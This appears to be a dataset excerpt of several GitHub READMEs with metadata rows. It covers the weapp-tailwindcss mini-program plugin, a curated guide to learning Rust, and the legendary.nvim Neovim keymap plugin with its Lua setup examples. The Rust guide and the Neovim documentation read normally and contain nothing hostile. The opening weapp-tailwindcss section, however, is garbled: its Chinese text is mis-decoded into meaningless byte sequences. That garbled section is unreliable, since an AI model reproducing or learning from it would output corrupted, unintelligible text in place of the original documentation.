็ฎๅ๏ผ`weapp-tailwindcss` ็ `2.x` ๅ `3.x` ๆฏๆๆๆฐ็ๆฌ็ `tailwindcss v3.x.x` ็ๆฌๅ `webpack5`๏ผ`webpack4`, `vite` ๅ `gulp`ใไป `3.2.0` ๅผๅง๏ผ`weapp-tailwindcss` ๆฏๆๆๅ็็ๅฐ็จๅบๅผๅๆนๅผใ
> ๅฆๆไฝ ่ฟๅจไฝฟ็จ `tailwindcss@2` ็ๆฌ๏ผ้ฃไฝ ๅบ่ฏฅไฝฟ็จๆฌๆไปถ็ `1.x`/`webpack4` ็ๆฌใๅฆๅค่ฏท็กฎไฟไฝ ็ `nodejs` ็ๆฌ `>=16.6.0`ใ็ฎๅไฝไบ `16` ็้ฟๆ็ปดๆค็ๆฌ(`ๅถๆฐ็ๆฌ`) ้ฝๅทฒ็ป็ปๆไบ็ๅฝๅจๆ๏ผๅปบ่ฎฎๅฎ่ฃ
`nodejs` ็ `LTS`็ๆฌ๏ผ่ฏฆ่ง [nodejs/release](https://github.com/nodejs/release)
## [ๅฎ่ฃ
ไธไฝฟ็จๆนๅผ](https://weapp-tw.icebreaker.top/docs/quick-start/install)
## [็ๆๅ่งฃๅณๆนๆก](https://weapp-tw.icebreaker.top/docs/community/templates)
## [ๅธธ่ง้ฎ้ข](https://weapp-tw.icebreaker.top/docs/issues/)
## [็ฐๆ้
็ฝฎๅฅฝ็ๅไธชๆกๆถ็ๆจกๆฟ](https://weapp-tw.icebreaker.top/docs/community/templates)
## [ๆง็ๆฌ่ฟ็งปๆๅ](https://weapp-tw.icebreaker.top/docs/migrations/v2)
## [้
็ฝฎ้กนๅ่](https://weapp-tw.icebreaker.top/docs/api/interfaces/UserDefinedOptions)
## [ๅๆดๆฅๅฟ](./CHANGELOG.md)
## Tips
ๅๆฒฟ้
่ฏป: [Whatโs Tailwind Oxide Engine? The Next Evolution of Tailwind CSS](https://medium.com/@bomber.marek/whats-tailwind-oxide-engine-the-next-evolution-of-tailwind-css-32e7ef8e19a1)
ๆชๆฅ `tailwindcss@4` ไผๅๆขๅฐ่ฟไธชๅผๆๆฅๅคงๅน
ๅ ๅฟซๆๅปบๅ่ฟ่ก้ๅบฆ๏ผๅฝ็ถ็ญๅฎๅๅธๆญฃๅผ็ๆฌ็ๆถๅ๏ผๆไนไผๅฐฝๅฏ่ฝ็ฌฌไธๆถ้ดๅป่ฟ่กๅ
ผๅฎนๆฐ็ๅผๆใ
## Contribute
ๆไปฌ้่ฏทไฝ ๆฅ่ดก็ฎๅๅธฎๅฉๆน่ฟ `weapp-tailwindcss` ๐๐๐
ไปฅไธๆๅ ไธชๆนๅผๅฏไปฅๅไธ:
- ๆฅๅ้่ฏฏ๏ผๅฆๆๆจ้ๅฐไปปไฝ้่ฏฏๆ้ฎ้ข๏ผ่ฏทๆ`issue`ๅนถๆไพๅฎๅ็้่ฏฏไฟกๆฏๅๅค็ฐๆนๅผใ
- ๅปบ่ฎฎ๏ผๆๅขๅผบ `weapp-tailwindcss` ็ๆณๆณๅ๏ผ่ฏทๆ `issue` ๆฅๅไบซๆจ็ๅปบ่ฎฎใ
- ๆๆกฃ๏ผๅฆๆๆจๅฏนๆๆกฃๆๆดๅฅฝ็่ง่งฃๆ่
ๆดๆฃ็ไฟฎ่พๆนๅผ๏ผๆฌข่ฟ `pr`ใ
- ไปฃ็ ๏ผไปปไฝไบบ็ไปฃ็ ้ฝไธๆฏๅฎ็พ็๏ผๆไปฌๆฌข่ฟไฝ ้่ฟ `pr` ็ปไปฃ็ ๆไพๆดๅฅฝ็่ดจ้ไธๆดปๅใ
## License
[MIT](./LICENSE)
## Star History
[](https://star-history.com/#sonofmagic/weapp-tailwindcss&Date)
## Related projects
### IceStack
[IceStack](https://github.com/sonofmagic/icestack): โค๏ธ IceStack, Web UI for Mobile, PC, open-source Css component library generator
### weapp-ide-cli
[weapp-ide-cli](https://github.com/sonofmagic/utils/tree/main/packages/weapp-ide-cli): ไธไธชๅพฎไฟกๅผๅ่
ๅทฅๅ
ทๅฝไปค่ก๏ผๅฟซ้ๆนไพฟ็็ดๆฅๅฏๅจ ide ่ฟ่ก็ปๅฝ๏ผๅผๅ๏ผ้ข่ง๏ผไธไผ ไปฃ็ ็ญ็ญๅ่ฝใ
### weapp-pandacss
[weapp-pandacss](https://github.com/sonofmagic/weapp-pandacss) `CSS-in-JS` ็ผ่ฏๆถๆกๆถ็ๅฐ็จๅบ้้
ๅจ
| bring tailwindcss to weapp ! ๆ `tailwindcss` ๅๅญๅๆๆณๅธฆๅ
ฅๅฐ็จๅบๅผๅๅง ! ๅ `weapp-tailwindcss-webpack-plugin` | mp,weapp,tailwindcss,webpack,postcss,mini,tailwind,vite,tarojs,uni-app | 29 | 2 | 170 | 1,595 | 16 | 48 | 3 |
jondot/rust-how-do-i-start | # Rust :crab:. How do I start?
A collaborative advice for this casual question that gets asked many times, so here it is as a Github repo anyone can contribute to and improve!
* ๐๏ธ Before you start, watch this repo (Github watch button) so you can get updates when we add stuff
* ๐พ Play with this page first! Take an hour to look at all the stuff that's linked from top to bottom. Watch a few videos, scroll through a couple blogs. Then start with the main track.
* ๐ทโโ๏ธ While you're working your way through, feel free to ask questions about ways to start in Rust in [Discussions](https://github.com/jondot/rust-how-do-i-start/discussions)
* ๐ Feel free to add suggestions and PRs of your own https://github.com/jondot/rust-how-do-i-start#contributing
## ๐ฑ What to expect?
_Some hand-selected articles to give you a feeling of what's the journey like._
* [My own key learnings after 30k LOC in Rust](https://jondot.medium.com/my-key-learnings-after-30-000-loc-in-rust-a553e6403c19) - I can say that today the experience is much greater than back then. There's so much more to learn from, and the ecosystem is huge. Still, the core ideas in the article are relevant.
# ๐ Main track
_This is largely the learn path you should follow. It is hand-selected, minimal, and high-value, highly effective content only_
* ๐ Reading (code or text)
* ๐๏ธโโ๏ธ Exercise
* ๐๏ธ Building
1. ๐ฆ The ๐[Rust Book](https://doc.rust-lang.org/book/). You can read it cover to cover, or skim it. What ever you do, make sure you have a pet project idea to experiment with. You can pick ๐[any of the core utils you like](https://github.com/uutils/coreutils/tree/main/src/uu). The advantage of just re-implementing a core util is that you are probably familiar with one of those, they're just CLI apps and you're not biting more than you can chew, and you do have the source code in that repo for reference.
* ๐ฌ Feeling a bit lost? You can watch [Getting Started with Rust: Understanding Rust Compile Errors](https://www.youtube.com/watch?v=hgZQJys2zpY), and [part 2](https://www.youtube.com/watch?v=9391GxkYPyY) which is a _great_ intro to errors, borrow checker and more.
* ๐ฅธ If you're coming from dynamic programming languages, expect the reading process to be less "flowing" and more thinking about types and the type system. If you're stuck and want to "translate" concepts to your own dynamic world, feel free to ask [here](https://github.com/jondot/rust-how-do-i-start/discussions)
* ๐ซถ You don't have to read it cover to cover. Get to a nice, working CLI app for starters.
* ๐๏ธโโ๏ธ If you like exercises as a learning aid, you can swap "building a small project" while reading the Rust book, with ๐๏ธโโ๏ธ[rustlings](https://github.com/rust-lang/rustlings)
2. ๐งฐ Pick a hobby project that's useful for you. Something more than trivial that includes data passing and a few modules (just so you get to experience the borrow checker and data modeling) something in the scope of ๐๏ธ[bat](https://github.com/sharkdp/bat/tree/master/src). Work on it and go back to the Rust book from time to time (as well as, well - StackOverflow). Repeat, rinse.
* ๐คทโโ๏ธ Don't have an idea for a hobby project? ๐๏ธโโ๏ธ[PNGMe](https://picklenerd.github.io/pngme_book/introduction.html) is a good project to build + it's a book and exercise format. Look at the [project idea list](https://github.com/jondot/rust-how-do-i-start#-project-ideas) too.
* ๐ฉ Don't want to work on a project at all? the ๐๏ธโโ๏ธ[too many lists](https://rust-unofficial.github.io/too-many-lists/index.html) minibook will have you building linked-lists of all kinds and is quite good
3. ๐ค Asking for feedback is highly encouraged to get better at writing idiomatic, readable and performant Rust. You can ask for feedback in [the Rust Subreddit](https://reddit.com/r/rust) or in [the Rust Programming Language Community Discord Server](https://discord.gg/rust-lang-community).
4. ๐ The ๐[Rust API Guidelines](https://rust-lang.github.io/api-guidelines/) for why things are the way they are. E.g. why `into`, and why the `_mut` postfix. For understanding the Rust-"isms" around you when reading people's code.
5. ๐ฑ You're now ready for ๐๏ธโโ๏ธ[Rust by example](https://github.com/rust-lang/rust-by-example) and ๐๏ธโโ๏ธ[Rust by practice](https://github.com/sunface/rust-by-practice)
6. โซ ๐[Rust patterns](https://rust-unofficial.github.io/patterns/intro.html) is a great intro to idioms in Rust
7. ๐ Next, ๐[Zero to Production in Rust](https://www.zero2prod.com/) will give you some service-ish, production-ish use cases which will round off your experience
8. ๐ค When you feel curious about the "why's", pick up ๐[Rust for Rustaceans](https://nostarch.com/rust-rustaceans). Skim it and read what's interesting to you, cover-to-cover is a hard read, unless you have the focus & time.
From here, since everyone have their own taste, visit ๐[Rust Books](https://lborb.github.io/book/) from time to time to pick up a resource that you feel can move you forward to the next step.
## ๐ฆ Starter libraries - save me from choosing ๐คฆโโ๏ธ!
_These are opinionated but popular choices. The goal is to avoid [paradox of choice](https://en.wikipedia.org/wiki/The_Paradox_of_Choice) while learning._
* [anyhow](https://docs.rs/anyhow/latest/anyhow/) for error handling
* [clap](https://docs.rs/clap/latest/clap/) for CLI building
* [serde](https://serde.rs/) for serialization, including [serde_json](https://github.com/serde-rs/json) and [serde_yaml](https://github.com/dtolnay/serde-yaml)
* [dialoguer](https://docs.rs/dialoguer/latest/dialoguer/) for CLI prompts and [console](https://crates.io/crates/console) for ANSI colors and handling
* [env_logger](https://docs.rs/env_logger/latest/env_logger/) for logging and [log](https://docs.rs/log/latest/log/) for facade
* [lazy_static](https://docs.rs/lazy_static/latest/lazy_static/) for declaring static variables that have nontrivial initialization
* [rayon](https://github.com/rayon-rs/rayon) for easy concurrency for data, vectors, arrays based workloads
* [reqwest](https://docs.rs/reqwest/latest/reqwest/) and [reqwest-middleware](https://crates.io/crates/reqwest-middleware) for HTTP calls
* [actix-web](https://docs.rs/actix-web/latest/actix_web/) as a web/API server
* [nom](https://crates.io/crates/nom) (parser combinators) or [pest](https://pest.rs/) (peg) for building custom parsers
* [insta](https://crates.io/crates/insta), [wiremock](https://crates.io/crates/wiremock), and [fake](https://crates.io/crates/fake) for testing
* [tap](https://crates.io/crates/tap) for utility
## :ok_hand: Thinking in Rust
_Hand picked material to give you context, reasons, and history of how Rust evolved. Some of it is historical._
* [Rust Programming Techniques (youtube)](https://www.youtube.com/watch?v=vqavdUGKeb4) - a talk from 2018 which is more about "thinking in Rust", and will encourage using more Rust constructs.
* [@jonhoo on Rust Trivia](https://github.com/rusty-ferris-club/jonhoo-rust-trivia) ([twitter: @jonhoo](https://twitter.com/jonhoo))
* [@jonhoo on Rust Keywords](https://github.com/rusty-ferris-club/jonhoo-rust-trivia/blob/main/keywords.md) ([twitter: @jonhoo](https://twitter.com/jonhoo))
* [Getting Started with Rust: Understanding Rust Compile Errors](https://www.youtube.com/watch?v=hgZQJys2zpY), and [part 2](https://www.youtube.com/watch?v=9391GxkYPyY) - A live session with Ryan Levick exploring and understanding compiler errors and the borrow checker
## ๐ฅ Gold Nuggets
_Great articles, blogs, videos of specific topics in Rust, that are must-read or must-watch_
* [Error handling isn't all about errors](https://www.youtube.com/watch?v=rAF8mLI0naQ) - a talk from RustConf 2020, which gives a fantastic overview, breakdown and ultimate tips to error handling and error libraries in Rust
## ๐ก Project ideas
_These are easy starter project ideas, not full-blown projects, just to get you up and running._
* `cat`, `grep`, `uniq`, `wc`, `find` + more. [in this repo](https://github.com/kyclark/command-line-rust) from the _Command line Rust_ book. -- `Practice` CLI, stdlib, data. `Difficulty` easy.
* [A beefed up calculator](https://crates.io/crates/eva) -- `Practice` CLI, parsing, data. `Difficulty` easy.
* [SMTP Protocol in Go - but implement in Rust](https://notes.eatonphil.com/handling-email-from-gmail-smtp-protocol-basics.html) and build a simple TCP server from scratch -- `Practice` CLI, parsing, services. `Difficulty` easy
* [CloudFormation parser](https://rtoch.com/posts/advanced-serde/). -- `Practice` CLI, serde, errors, data. `Difficulty` medium.
* [Realworld](https://github.com/gothinkster/realworld) implementation in Rust. See [realworld-axum-sqlx](https://github.com/launchbadge/realworld-axum-sqlx). -- `Practice` Web, services, SQL, data. `Difficulty` medium.
* [QR code generator](https://github.com/madprops/qool) -- `Practice` CLI, modules, data. `Difficulty` medium.
* [Redis protocol parser (RESP)](https://redis.io/docs/reference/protocol-spec/) -- `Practice` parsing, TDD, creating Rust libraries, data. `Difficulty` medium.
* [Add a lint to Clippy](https://github.com/rust-lang/rust-clippy/blob/master/doc/adding_lints.md). Clippy is the Rust linter, and you might be using it all day long. How about add stuff to it?. `Practice` real world Rust, parsing, compilers. `Difficulty` hard.
* [JSON log viewer, CLI](https://github.com/gistia/json-log-viewer) -- `Practice` CLI, TUI, modules, data, parsing. `Difficulty` hard.
## ๐ค Looking to work with other people
_Find other people that are passionate and looking to build stuff in Rust for fun._
* [Rusty Ferris Club](https://github.com/rusty-ferris-club) builds tiny Rust based open source projects, and you can add your [ideas or requests](https://github.com/rusty-ferris-club/build-it-for-me-please)
## ๐คพโโ๏ธ Hold on! I want to just play around before deciding to start
_Some links to give you a feeling of Rust, if you're not ready to make the jump yet, or need some convincing to invest the time_
* Try the [tour of rust](https://tourofrust.com/index.html)
* [A gentle intro to Rust](https://stevedonovan.github.io/rust-gentle-intro/readme.html)
* [Take your first steps with Rust](https://docs.microsoft.com/en-us/learn/paths/rust-first-steps/)
## ๐ป Cool stuff to have open in a tab while working
_If you have multiple screens, and like a full immersive learning experience - you can keep these open at all times_
* [A big cheatsheet](https://www.cheats.rs/) or [a smaller cheatsheet](https://upsuper.github.io/rust-cheatsheet/)
* A fun [syntax explorer explainer](https://jrvidal.github.io/explaine.rs/)
* [awesome-rust](https://github.com/rust-unofficial/awesome-rust) and [are we there yet](https://wiki.mozilla.org/Areweyet) for when you're reaching out for a library or need inspiration
## ๐ Releasing
- [a CI/CD template for your project and crates](https://github.com/SpectralOps/rust-ci-release-template) to start with
- [Documenting your crate](https://blog.guillaume-gomez.fr/articles/2020-03-12+Guide+on+how+to+write+documentation+for+a+Rust+crate)
# Mental Bridges
_These links will help bridge the mental model when you're coming from Node.js_
## I'm a Node.js Developer
1. Add [Rust for node developers](https://github.com/Mercateo/rust-for-node-developers) to your schedule, which is a soft intro just to get your bearings.
## I'm a Python developer
1. Check out [From Python into Rust](https://github.com/rochacbruno/py2rs)
# Contributing
Please feel free to submit PRs to improve this list. A few pointers:
1. The list must be concise
2. If there are new tracks, feel free to open them by adding a new subtitle to this README and submit PR (i.e. "Rust for game developers, how do I start?")
Happy hacking!
| Hand curated advice and pointers for getting started with Rust | rust,rust-lang | 0 | 3 | 2 | 33 | 0 | 1 | 0 |
mrjones2014/legendary.nvim | <div align="center">
# `legendary.nvim`
[Features](#features) | [Prerequisites](#prerequisites) | [Installation](#installation) | [Quickstart](#quickstart) | [Configuration](#configuration)
</div>
Define your keymaps, commands, and autocommands as simple Lua tables, building a legend at the same time (like VS Code's Command Palette).
 \
<sup>Theme used in recording is [onedarkpro.nvim](https://github.com/olimorris/onedarkpro.nvim). The finder UI is handled by [telescope.nvim](https://github.com/nvim-telescope/telescope.nvim) via [dressing.nvim](https://github.com/stevearc/dressing.nvim). See [Prerequisites](#prerequisites) for details.</sup>
**Table of Contents**
- [Features](#features)
- [Prerequisites](#prerequisites)
- [Installation](#installation)
- [Quickstart](#quickstart)
- [Configuration](#configuration)
- [Troubleshooting Frecency Sort](#troubleshooting-frecency-sort)
- [Keymap Development Utilities](./doc/MAPPING_DEVELOPMENT.md)
- [Lua API](./doc/API.md)
- [Extensions](./doc/EXTENSIONS.md)
- [Table Structures](./doc/table_structures/README.md)
- [Keymaps](./doc/table_structures/KEYMAPS.md)
- [Commands](./doc/table_structures/COMMANDS.md)
- [Functions](./doc/table_structures/FUNCTIONS.md)
- [`augroup`/`autocmd`s](./doc/table_structures/AUTOCMDS.md)
## Features
- Define your keymaps, commands, `augroup`/`autocmd`s, and even arbitrary Lua functions to run on the fly, as simple Lua tables, then bind them with `legendary.nvim`
- Integration with [which-key.nvim](https://github.com/folke/which-key.nvim), use your existing `which-key.nvim` tables with `legendary.nvim` (see [extensions](./doc/EXTENSIONS.md#which-keynvim))
- Integration with [lazy.nvim](https://github.com/folke/lazy.nvim), automatically load keymaps defined via `lazy.nvim`'s `keys` property on plugin specs (see [extensions](./doc/EXTENSIONS.md#lazynvim))
- Execute normal, insert, and visual mode keymaps, commands, autocommands, and Lua functions when you select them
- Show your most recently executed items at the top when triggered via `legendary.nvim` (can be disabled via config)
- Uses `vim.ui.select()` so it can be hooked up to a fuzzy finder using something like [dressing.nvim](https://github.com/stevearc/dressing.nvim) for a VS Code command palette like interface
- Buffer-local keymaps, commands, functions and autocmds only appear in the finder for the current buffer
- Help execute commands that take arguments by prefilling the command line instead of executing immediately
- Search built-in keymaps and commands along with your user-defined keymaps and commands (may be disabled in config). Notice some missing? Comment on [this discussion](https://github.com/mrjones2014/legendary.nvim/discussions/89) or submit a PR!
- A `legendary.toolbox` module to help create lazily-evaluated keymaps and commands, and item filter. Have an idea for a new helper? Comment on [this discussion](https://github.com/mrjones2014/legendary.nvim/discussions/90) or submit a PR!
- Sort by [frecency](https://en.wikipedia.org/wiki/Frecency), a combined measure of how frequently and how recently you've used an item from the picker
- A parser to convert Vimscript keymap commands (e.g. `vnoremap <silent> <leader>f :SomeCommand<CR>`) to `legendary.nvim` keymap tables (see [Converting Keymaps From Vimscript](./doc/API.md#converting-keymaps-from-vimscript))
- Anonymous mappings; show mappings/commands in the finder without having `legendary.nvim` handle creating them
- Extensions to automatically load keymaps and commands from other plugins
## Prerequisites
- (Optional) A `vim.ui.select()` handler; this provides the UI for the finder.
- I recommend [telescope.nvim](https://github.com/nvim-telescope/telescope.nvim) paired with [dressing.nvim](https://github.com/stevearc/dressing.nvim).
## Installation
This project uses git tags to adhere to [Semantic Versioning](https://semver.org/). To check the latest
version, see the [git tag list](https://github.com/mrjones2014/legendary.nvim/tags).
With `lazy.nvim`:
```lua
-- to use a version
{
'mrjones2014/legendary.nvim',
version = 'v2.13.9',
-- since legendary.nvim handles all your keymaps/commands,
-- its recommended to load legendary.nvim before other plugins
priority = 10000,
lazy = false,
-- sqlite is only needed if you want to use frecency sorting
-- dependencies = { 'kkharji/sqlite.lua' }
}
-- or, to get rolling updates
{
'mrjones2014/legendary.nvim',
-- since legendary.nvim handles all your keymaps/commands,
-- its recommended to load legendary.nvim before other plugins
priority = 10000,
lazy = false,
-- sqlite is only needed if you want to use frecency sorting
-- dependencies = { 'kkharji/sqlite.lua' }
}
```
With `vim-plug`:
```VimL
" if you want to use frecency sorting, sqlite is also needed
Plug "kkharji/sqlite.lua"
" to use a version
Plug "mrjones2014/legendary.nvim", { 'tag': 'v2.1.0' }
" or, to get rolling updates
Plug "mrjones2014/legendary.nvim"
```
## Quickstart
If you use [lazy.nvim](https://github.com/folke/lazy.nvim) for your plugin manager, `legendary.nvim` can automatically
register keymaps defined via the `keys` property of `lazy.nvim` plugin specs. This lets you keep your plugin-specific
keymaps where you define the plugin, and `legendary.nvim` automatically detects them. For example:
```lua
-- in a plugin spec:
{
'folke/flash.nvim',
keys = {
{
's',
function()
require('flash').jump()
end,
mode = { 'n', 'x', 'o' },
desc = 'Jump forwards',
},
{
'S',
function()
require('flash').jump({ search = { forward = false } })
end,
mode = { 'n', 'x', 'o' },
desc = 'Jump backwards',
},
},
}
-- where you set up legendary.nvim
-- now the keymaps from the `flash.nvim` plugin spec will be automatically loaded
require('legendary').setup({ extensions = { lazy_nvim = true } })
```
Otherwise, register keymaps, commands, autocmds, and functions through setup, including
opting into _extensions_ which can automatically load keymaps and commands from other plugins:
```lua
require('legendary').setup({
keymaps = {
-- map keys to a command
{ '<leader>ff', ':Telescope find_files', description = 'Find files' },
-- map keys to a function
{
'<leader>h',
function()
print('hello world!')
end,
description = 'Say hello',
},
-- Set options used during keymap creation
{ '<leader>s', ':SomeCommand<CR>', description = 'Non-silent keymap', opts = { silent = true } },
-- create keymaps with different implementations per-mode
{
'<leader>c',
{ n = ':LinewiseCommentToggle<CR>', x = ":'<,'>BlockwiseCommentToggle<CR>" },
description = 'Toggle comment',
},
-- create item groups to create sub-menus in the finder
-- note that only keymaps, commands, and functions
-- can be added to item groups
{
-- groups with same itemgroup will be merged
itemgroup = 'short ID',
description = 'A submenu of items...',
icon = '๏ผ',
keymaps = {
-- more keymaps here
},
},
-- in-place filters, see :h legendary-tables or ./doc/table_structures/README.md
{ '<leader>m', description = 'Preview markdown', filters = { ft = 'markdown' } },
},
commands = {
-- easily create user commands
{
':SayHello',
function()
print('hello world!')
end,
description = 'Say hello as a command',
},
{
-- groups with same itemgroup will be merged
itemgroup = 'short ID',
-- don't need to copy the other group data because
-- it will be merged with the one from the keymaps table
commands = {
-- more commands here
},
},
-- in-place filters, see :h legendary-tables or ./doc/table_structures/README.md
{ ':Glow', description = 'Preview markdown', filters = { ft = 'markdown' } },
},
funcs = {
-- Make arbitrary Lua functions that can be executed via the item finder
{
function()
doSomeStuff()
end,
description = 'Do some stuff with a Lua function!',
},
{
-- groups with same itemgroup will be merged
itemgroup = 'short ID',
-- don't need to copy the other group data because
-- it will be merged with the one from the keymaps table
funcs = {
-- more funcs here
},
},
},
autocmds = {
-- Create autocmds and augroups
{ 'BufWritePre', vim.lsp.buf.format, description = 'Format on save' },
{
name = 'MyAugroup',
clear = true,
-- autocmds here
},
},
-- load extensions
extensions = {
-- automatically load keymaps from lazy.nvim's `keys` option
lazy_nvim = true,
-- load keymaps and commands from nvim-tree.lua
nvim_tree = true,
-- load commands from smart-splits.nvim
-- and create keymaps, see :h legendary-extensions-smart-splits.nvim
smart_splits = {
directions = { 'h', 'j', 'k', 'l' },
mods = {
move = '<C>',
resize = '<M>',
},
},
-- load commands from op.nvim
op_nvim = true,
-- load keymaps from diffview.nvim
diffview = true,
},
})
```
For more mapping features and more complicated setups see [Table Structures](./doc/table_structures/README.md).
To trigger the finder for your configured keymaps, commands, `augroup`/`autocmd`s, and Lua functions:
Commands:
```VimL
" search keymaps, commands, and autocmds
:Legendary
" search keymaps
:Legendary keymaps
" search commands
:Legendary commands
" search functions
:Legendary functions
" search autocmds
:Legendary autocmds
" repeat the last item executed via legendary.nvim's finder;
" by default, only executes if the last set of item filters used still returns `true`
:LegendaryRepeat
" repeat the last item executed via legendary.nvim's finder, ignoring the filters used
:LegendaryRepeat!
```
Lua API:
The `require('legendary').find()` function takes an `opts` table with the following fields (all optional):
```lua
{
-- pass a list of filter functions or a single filter function with
-- the signature `function(item, context): boolean`
-- (see below for `context` definition)
-- several filter functions are provided for convenience
-- see ./doc/FILTERS.md for a list
filters = {},
-- pass a function with the signature `function(item, mode): string[]`
-- returning a list of strings where each string is one column
-- use this to override the configured formatter for just one call
formatter = nil,
-- pass a string, or a function that returns a string
-- to customize the select prompt for the current call
select_prompt = nil,
}
```
The `context` table passed to filters contains the following properties:
```lua
{
buf = number, -- buffer ID
buftype = string,
filetype = string,
mode = string, -- the mode that the UI was triggered from
cursor_pos = table, -- { row, col }
marks = table, -- visual mode marks, if applicable; { line, col, line, col }
}
```
See [USAGE_EXAMPLES.md](./doc/USAGE_EXAMPLES.md) for some advanced usage examples.
## Configuration
Default configuration is shown below. For a detailed explanation of the structure for
keymap, command, and `augroup`/`autocmd` tables, see [doc/table_structures/README.md](./doc/table_structures/README.md).
```lua
require('legendary').setup({
-- Initial keymaps to bind, can also be a function that returns the list
keymaps = {},
-- Initial commands to bind, can also be a function that returns the list
commands = {},
-- Initial augroups/autocmds to bind, can also be a function that returns the list
autocmds = {},
-- Initial functions to bind, can also be a function that returns the list
funcs = {},
-- Initial item groups to bind,
-- note that item groups can also
-- be under keymaps, commands, autocmds, or funcs;
-- can also be a function that returns the list
itemgroups = {},
-- default opts to merge with the `opts` table
-- of each individual item
default_opts = {
-- for example, { silent = true, remap = false }
keymaps = {},
-- for example, { args = '?', bang = true }
commands = {},
-- for example, { buf = 0, once = true }
autocmds = {},
},
-- Customize the prompt that appears on your vim.ui.select() handler
-- Can be a string or a function that returns a string.
select_prompt = '๎ช legendary.nvim ๎ช',
-- Character to use to separate columns in the UI
col_separator_char = 'โ',
-- Optionally pass a custom formatter function. This function
-- receives the item as a parameter and the mode that legendary
-- was triggered from (e.g. `function(item, mode): string[]`)
-- and must return a table of non-nil string values for display.
-- It must return the same number of values for each item to work correctly.
-- The values will be used as column values when formatted.
-- See function `default_format(item)` in
-- `lua/legendary/ui/format.lua` to see default implementation.
default_item_formatter = nil,
-- Customize icons used by the default item formatter
icons = {
-- keymap items list the modes in which the keymap applies
-- by default, you can show an icon instead by setting this to
-- a non-nil icon
keymap = nil,
command = '๏ ',
fn = '๓ฐกฑ',
itemgroup = '๏ผ',
},
-- Include builtins by default, set to false to disable
include_builtin = true,
-- Include the commands that legendary.nvim creates itself
-- in the legend by default, set to false to disable
include_legendary_cmds = true,
-- Options for list sorting. Note that fuzzy-finders will still
-- do their own sorting. For telescope.nvim, you can set it to use
-- `require('telescope.sorters').fuzzy_with_index_bias({})` when
-- triggered via `legendary.nvim`. Example config for `dressing.nvim`:
--
-- require('dressing').setup({
-- select = {
-- get_config = function(opts)
-- if opts.kind == 'legendary.nvim' then
-- return {
-- telescope = {
-- sorter = require('telescope.sorters').fuzzy_with_index_bias({})
-- }
-- }
-- else
-- return {}
-- end
-- end
-- }
-- })
sort = {
-- put most recently selected item first, this works
-- both within global and item group lists
most_recent_first = true,
-- sort user-defined items before built-in items
user_items_first = true,
-- sort the specified item type before other item types,
-- value must be one of: 'keymap', 'command', 'autocmd', 'group', nil
item_type_bias = nil,
-- settings for frecency sorting.
-- https://en.wikipedia.org/wiki/Frecency
-- Set `frecency = false` to disable.
-- this feature requires sqlite.lua (https://github.com/kkharji/sqlite.lua)
-- and will be automatically disabled if sqlite is not available.
-- NOTE: THIS TAKES PRECEDENCE OVER OTHER SORT OPTIONS!
frecency = {
-- the directory to store the database in
db_root = string.format('%s/legendary/', vim.fn.stdpath('data')),
-- the maximum number of timestamps for a single item
-- to store in the database
max_timestamps = 10,
},
},
lazy_nvim = {
-- Automatically register keymaps that are defined on lazy.nvim plugin specs
-- using the `keys = {}` property.
auto_register = false,
},
which_key = {
-- Automatically add which-key tables to legendary
-- see ./doc/WHICH_KEY.md for more details
auto_register = false,
-- you can put which-key.nvim tables here,
-- or alternatively have them auto-register,
-- see ./doc/WHICH_KEY.md
mappings = {},
opts = {},
-- controls whether legendary.nvim actually binds they keymaps,
-- or if you want to let which-key.nvim handle the bindings.
-- if not passed, true by default
do_binding = true,
-- controls whether to use legendary.nvim item groups
-- matching your which-key.nvim groups; if false, all keymaps
-- are added at toplevel instead of in a group.
use_groups = true,
},
-- Which extensions to load; no extensions are loaded by default.
-- Setting the plugin name to `false` disables loading the extension.
-- Setting it to any other value will attempt to load the extension,
-- and pass the value as an argument to the extension, which should
-- be a single function. Extensions are modules under `legendary.extensions.*`
-- which return a single function, which is responsible for loading and
-- initializing the extension.
extensions = {
nvim_tree = false,
smart_splits = false,
op_nvim = false,
diffview = false,
},
scratchpad = {
-- How to open the scratchpad buffer,
-- 'current' for current window, 'float'
-- for floating window
view = 'float',
-- How to show the results of evaluated Lua code.
-- 'print' for `print(result)`, 'float' for a floating window.
results_view = 'float',
-- Border style for floating windows related to the scratchpad
float_border = 'rounded',
-- Whether to restore scratchpad contents from a cache file
keep_contents = true,
},
-- Directory used for caches
cache_path = string.format('%s/legendary/', vim.fn.stdpath('cache')),
-- Log level, one of 'trace', 'debug', 'info', 'warn', 'error', 'fatal'
log_level = 'info',
})
```
### Troubleshooting Frecency Sort
If you get an error along the lines of the following, and frecency sorting does not work:
```
Failed to open database at /Users/mat/.local/share/nvim/legendary/legendary_frecency.sqlite3: ...at/.local/share/nvim/lazy/sqlite.lua/lua/sqlite/defs.lua:56: dlopen(lib.dylib, 0x0005): tried: 'lib.dylib' (no such file), '/System/Volumes/Preboot/Cryptexes/OSlib.dylib' (no such file), '/nix/store/092zx4zf4fmj0jyk32jl1ihix6q4bmw4-apple-framework-CoreFoundation-11.0.0/Library/Frameworks/lib.dylib' (no such file), '/System/Volumes/Preboot/Cryptexes/OS/nix/store/092zx4zf4fmj0jyk32jl1ihix6q4bmw4-apple-framework-CoreFoundation-11.0.0/Library/Frameworks/lib.dylib' (no such file), '/nix/store/092zx4zf4fmj0jyk32jl1ihix6q4bmw4-apple-framework-CoreFoundation-11.0.0/Library/Frameworks/lib.dylib' (no such file), '/System/Volumes/Preboot/Cryptexes/OS/nix/store/092zx4zf4fmj0jyk32jl1ihix6q4bmw4-apple-framework-CoreFoundation-11.0.0/Library/Frameworks/lib.dylib' (no such file), '/usr/lib/lib.dylib' (no such file, not in dyld cache), 'lib.dylib' (no such file), '/usr/local/lib/lib.dylib' (no such file), '/usr/lib/lib.dylib' (no such file, not in dyld cache)
```
This means that the `sqlite.lua` Lua library was unable to find the `libsqlite3.dylib` shared library file. This could be the case
for a few reasons. To fix this, you can either set `vim.g.sqlite_clib_path` in your Neovim config, or the `LIBSQLITE` environment variable
to the full path to `libsqlite3.dylib`. If you are using Nix with `home-manager`, this can be done like so:
```nix
{
home.sessionVariables = {
LIBSQLITE = "${pkgs.sqlite.out}/lib/libsqlite3.dylib";
};
}
```
If you are _not_ using Nix, you can locate the `libsqlite3.dylib` on macOS by running:
```shell
otool -L $(which sqlite3) | grep "sqlite3.dylib"
```
---
Additional documentation can be found under [doc/](./doc/).
| ๐บ๏ธ A legend for your keymaps, commands, and autocmds, integrates with which-key.nvim, lazy.nvim, and more. | neovim,neovim-plugin,keymap,neovim-ui,legend,keymapping,keybindings,vim-commands,which-key,nvim | 37 | 13 | 269 | 973 | 9 | 1 | 5 |
